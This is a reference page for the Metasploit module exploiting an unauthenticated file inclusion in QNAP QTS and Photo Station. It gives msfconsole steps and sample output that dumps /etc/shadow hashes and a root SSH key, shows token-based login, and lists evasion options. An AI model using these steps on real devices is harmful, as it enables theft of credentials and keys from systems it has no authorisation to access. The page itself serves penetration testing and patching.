QNAP QTS and Photo Station Local File Inclusion - Metasploit
This page contains detailed information about how to use the auxiliary/gather/qnap_lfi metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: QNAP QTS and Photo Station Local File Inclusion
Module: auxiliary/gather/qnap_lfi
Source code: modules/auxiliary/gather/qnap_lfi.rb
Disclosure date: 2019-11-25
Last modification time: 2022-02-23 16:27:12 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-7192, CVE-2019-7194, CVE-2019-7195
This module exploits a local file inclusion in QNAP QTS and Photo Station that allows an unauthenticated attacker to download files from the QNAP filesystem. Because the HTTP server runs as root, it is possible to access sensitive files, such as SSH private keys and password hashes. This module has been tested on QTS 4.3.3 (unknown Photo Station version) and QTS 4.3.6 with Photo Station 5.7.9.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use auxiliary/gather/qnap_lfi
msf auxiliary(qnap_lfi) > show targets
... a list of targets ...
msf auxiliary(qnap_lfi) > set TARGET target-id
msf auxiliary(qnap_lfi) > show options
... show and set options ...
msf auxiliary(qnap_lfi) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Introduction
This module exploits a local file inclusion in QNAP QTS and Photo Station that allows an unauthenticated attacker to download files from the QNAP filesystem.
Because the HTTP server runs as root, it is possible to access sensitive files, such as SSH private keys and password hashes.
/etc/shadow entries can be processed offline, the module saves them in the creds,
and they can be cracked using john the ripper, or hashcat.
There is some confusion in the CVEs assigned to this vulnerability, it corresponds to one of these : CVE-2019-7192, CVE-2019-7194 or CVE-2019-7195, notice that two of them have the same description.
Verification Steps
- Start
msfconsole - Do:
use auxiliary/gather/qnap_lfi - Do:
set RHOSTS [RHOSTS] - Do:
check - Verify if
checkdetects vulnerable hosts as it should - Do:
run - Do:
loot - Verify if the run command retrieved the content of /etc/shadow if the host was vulnerable, and saved the file in the loot
- Do:
creds - Verify if the retrieved hashes were saved in the creds, and their hash type identified correctly.
Options
FILEPATH
Set this to the file you want to dump. The default is /etc/shadow.
Whether to print file contents to the screen, defaults to true.
Scenarios
QNAP QTS 4.3.3
Dumping hashes from /etc/shadow
msf5 auxiliary(gather/qnap_lfi) > run
[*] Running module against [REDACTED]
[*] Getting the Album Id
[+] Got Album Id : cJinsP
[*] Getting the Access Code
[+] Got Access Code : NjU1MzR8MXwxNTkwNjk0MDIy
[*] Attempting Local File Inclusion
[+] File download successful, file saved in /home/redouane/.msf4/loot/20200528212705_default_[REDACTED]_qnap.http_394810.bin
[+] File content:
admin:$1$$0EDxoz0B/Et7aYxLtR/Ik/:14233:0:99999:7:::
guest:$1$$ysap7EeB9ODCrO46Psdbq/:14233:0:99999:7:::
httpdusr:!:16923:0:99999:7:::
Cherle:$1$$Bb3R7AIqzIemj7kGq5k/p1:16923:0:99999:7:::
redouane:$1$$l265pXOEMo0cRDhod/Z3M1:16923:0:99999:7:::
Test:$1$$0EDxoz0B/Et7aYxLtR/Ik/:16928:0:99999:7:::
Merle:$1$JjtNtEJx$PMtCY0tpb2N/rjck2fHVI0:17438:0:99999:7:::
[appuser]:!:17451:0:99999:7:::
[sshd]:!:17637:0:99999:7:::
a9d01ba7:$1$PKQtJPZZ$3RdJRQozKzdx1axJqP9Fe/:18405:0:99999:7:::
[*] adding the /etc/shadow entries to the database
[*] Auxiliary module execution completed
msf5 auxiliary(gather/qnap_lfi) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
[REDACTED] qnap.http shadow text/plain /home/redouane/.msf4/loot/20200528212705_default_[REDACTED]_qnap.http_394810.bin
msf5 auxiliary(gather/qnap_lfi) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
[REDACTED] admin $1$$0EDxoz0B/Et7aYxLtR/Ik/ Nonreplayable hash md5crypt
[REDACTED] guest $1$$ysap7EeB9ODCrO46Psdbq/ Nonreplayable hash md5crypt
[REDACTED] Cherle $1$$Bb3R7AIqzIemj7kGq5k/p1 Nonreplayable hash md5crypt
[REDACTED] redouane $1$$l265pXOEMo0cRDhod/Z3M1 Nonreplayable hash md5crypt
[REDACTED] Test $1$$0EDxoz0B/Et7aYxLtR/Ik/ Nonreplayable hash md5crypt
[REDACTED] Merle $1$JjtNtEJx$PMtCY0tpb2N/rjck2fHVI0 Nonreplayable hash md5crypt
[REDACTED] a9d01ba7 $1$PKQtJPZZ$3RdJRQozKzdx1axJqP9Fe/ Nonreplayable hash md5crypt
msf5 auxiliary(gather/qnap_lfi) >
The hashes can be used to login from the web interface, or through ssh if it's enabled.
Dumping ssh private keys
msf5 auxiliary(gather/qnap_lfi) > set FILEPATH /root/.ssh/id_rsa
FILEPATH => /root/.ssh/id_rsa
msf5 auxiliary(gather/qnap_lfi) > exploit
[*] Running module against [redacted]
[*] Getting the Album Id
[+] Got Album Id : [redacted]
[*] Getting the Access Code
[+] Got Access Code : [redacted]
[*] Attempting Local File Inclusion
[+] File download successful, file saved in /home/redouane/.msf4/loot/20200528213018_default_[redacted]_qnap.http_983860.bin
[+] File content:
-----BEGIN RSA PRIVATE KEY-----
[redacted]
-----END RSA PRIVATE KEY-----
[*] Auxiliary module execution completed
msf5 auxiliary(gather/qnap_lfi) >
Retrieving the token, can be used to authenticate
msf5 auxiliary(gather/qnap_lfi) > set FILEPATH /share/Multimedia/.@__thumb/ps.app.token
FILEPATH => /share/Multimedia/.@__thumb/ps.app.token
msf5 auxiliary(gather/qnap_lfi) > exploit
[*] Running module against [redacted]
[*] Getting the Album Id
[+] Got Album Id : [redacted]
[*] Getting the Access Code
[+] Got Access Code : [redacted]
[*] Attempting Local File Inclusion
[+] File download successful, file saved in /home/redouane/.msf4/loot/20200528213233_default_[redacted]_qnap.http_815651.bin
[+] File content:
[redacted]
[*] Auxiliary module execution completed
msf5 auxiliary(gather/qnap_lfi) >
The token can then be used to authenticate, by sending a POST request to the uri /cgi-bin/authLogin.cgi, for the example above:
sending the POST payload: app_token=[redacted]&app=PHOTO_STATION&auth=1
This would return an authSid, that can be used with most endpoints that require authentication.
QNAP QTS 4.3.6 with Photo Station 5.7.9
msf5 auxiliary(gather/qnap_lfi) > show options
Module options (auxiliary/gather/qnap_lfi):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 3 yes Traversal Depth (to reach the root folder)
FILEPATH /etc/fstab yes The file to read on the target
PRINT true yes Whether or not to print the content of the file
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.250.5 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the QNAP Website
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
Download Download the file at FILEPATH
msf5 auxiliary(gather/qnap_lfi) > run
[*] Running module against 192.168.250.5
[*] Getting the Album Id
[+] Got Album Id : cJinsP
[*] Getting the Access Code
[+] Got Access Code : MHwxfDE1OTE4MTk2NjY=
[*] Attempting Local File Inclusion
[+] File download successful, saved in /home/smcintyre/.msf4/loot/20200610160738_default_192.168.250.5_qnap.http_072626.txt
[+] File content:
# /etc/fstab: static file system information.
#
#
/dev/ram / ext2 defaults 1 1
proc /proc proc defaults 0 0
none /dev/pts devpts gid=5,mode=620 0 0
[*] Auxiliary module execution completed
msf5 auxiliary(gather/qnap_lfi) >
Go back to menu.
Msfconsole Usage
Here is how the gather/qnap_lfi auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/qnap_lfi
msf6 auxiliary(gather/qnap_lfi) > show info
Name: QNAP QTS and Photo Station Local File Inclusion
Module: auxiliary/gather/qnap_lfi
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2019-11-25
Provided by:
Henry Huang
Redouane NIBOUCHA <[email protected]>
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Available actions:
Name Description
---- -----------
Download Download the file at FILEPATH
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 3 yes Traversal Depth (to reach the root folder)
FILEPATH /etc/shadow yes The file to read on the target
PRINT true yes Whether or not to print the content of the file
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the QNAP Website
VHOST no HTTP server virtual host
Description:
This module exploits a local file inclusion in QNAP QTS and Photo
Station that allows an unauthenticated attacker to download files
from the QNAP filesystem. Because the HTTP server runs as root, it
is possible to access sensitive files, such as SSH private keys and
password hashes. This module has been tested on QTS 4.3.3 (unknown
Photo Station version) and QTS 4.3.6 with Photo Station 5.7.9.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-7192
https://nvd.nist.gov/vuln/detail/CVE-2019-7194
https://nvd.nist.gov/vuln/detail/CVE-2019-7195
https://www.exploit-db.com/exploits/48531
https://medium.com/bugbountywriteup/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05
https://www.qnap.com/en-us/security-advisory/nas-201911-25
https://github.com/Imanfeng/QNAP-NAS-RCE
Module Options
This is a complete list of options available in the gather/qnap_lfi auxiliary module:
msf6 auxiliary(gather/qnap_lfi) > show options
Module options (auxiliary/gather/qnap_lfi):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 3 yes Traversal Depth (to reach the root folder)
FILEPATH /etc/shadow yes The file to read on the target
PRINT true yes Whether or not to print the content of the file
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the QNAP Website
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
Download Download the file at FILEPATH
Advanced Options
Here is a complete list of advanced options supported by the gather/qnap_lfi auxiliary module:
msf6 auxiliary(gather/qnap_lfi) > show advanced
Module advanced options (auxiliary/gather/qnap_lfi):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/qnap_lfi module can do:
msf6 auxiliary(gather/qnap_lfi) > show actions
Auxiliary actions:
Name Description
---- -----------
Download Download the file at FILEPATH
Evasion Options
Here is the full list of possible evasion options supported by the gather/qnap_lfi auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/qnap_lfi) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Device does not appear to be a QNAP
Here is a relevant code snippet related to the "Device does not appear to be a QNAP" error message:
80: Exploit::CheckCode::Detected
81: end
82:
83: def run
84: if check == Exploit::CheckCode::Safe
85: print_error('Device does not appear to be a QNAP')
86: return
87: end
88:
89: file_content = exploit_lfi(datastore['FILEPATH'])
90:
Failed to perform Local File Inclusion
Here is a relevant code snippet related to the "Failed to perform Local File Inclusion" error message:
87: end
88:
89: file_content = exploit_lfi(datastore['FILEPATH'])
90:
91: if file_content.nil? || file_content.empty?
92: print_bad('Failed to perform Local File Inclusion')
93: return
94: end
95:
96: fname = File.basename(datastore['FILEPATH'])
97:
Failed to retrieve the Album Id
Here is a relevant code snippet related to the "Failed to retrieve the Album Id" error message:
132:
133: def exploit_lfi(file_path)
134: album_id, cookies = retrieve_album_id
135:
136: unless album_id
137: print_bad('Failed to retrieve the Album Id')
138: return
139: end
140:
141: print_good("Got Album Id : #{album_id}")
142:
Failed to retrieve the Access Code
Here is a relevant code snippet related to the "Failed to retrieve the Access Code" error message:
141: print_good("Got Album Id : #{album_id}")
142:
143: access_code = retrieve_access_code(album_id, cookies)
144:
145: unless access_code
146: print_bad('Failed to retrieve the Access Code')
147: return
148: end
149:
150: print_good("Got Access Code : #{access_code}")
151:
Go back to menu.
Related Pull Requests
- #14806 Merged Pull Request: Rubocop recently landed modules continued
- #14734 Merged Pull Request: Rubocop recently landed modules
- #13534 Merged Pull Request: Add the LFI module for QNAP RCE (CVE 2019-7192 - CVE 2019-7195)
References
- CVE-2019-7192
- CVE-2019-7194
- CVE-2019-7195
- EDB-48531
- https://medium.com/bugbountywriteup/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05
- https://www.qnap.com/en-us/security-advisory/nas-201911-25
- https://github.com/Imanfeng/QNAP-NAS-RCE
See Also
Check also the following modules related to this module:
- auxiliary/gather/qnap_backtrace_admin_hash
- exploit/linux/http/qnap_qcenter_change_passwd_exec
- exploit/linux/misc/qnap_transcode_server
- auxiliary/gather/microweber_lfi
- exploit/linux/http/symantec_web_gateway_lfi
- exploit/multi/http/phpmyadmin_lfi_rce
- exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce
- exploit/unix/webapp/zimbra_lfi
- exploit/windows/http/novell_mdm_lfi
- auxiliary/gather/android_htmlfileprovider
- exploit/linux/http/elfinder_archive_cmd_injection
- exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
Authors
- Henry Huang
- Redouane NIBOUCHA <rniboucha[at]yahoo.fr>
Version
This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.
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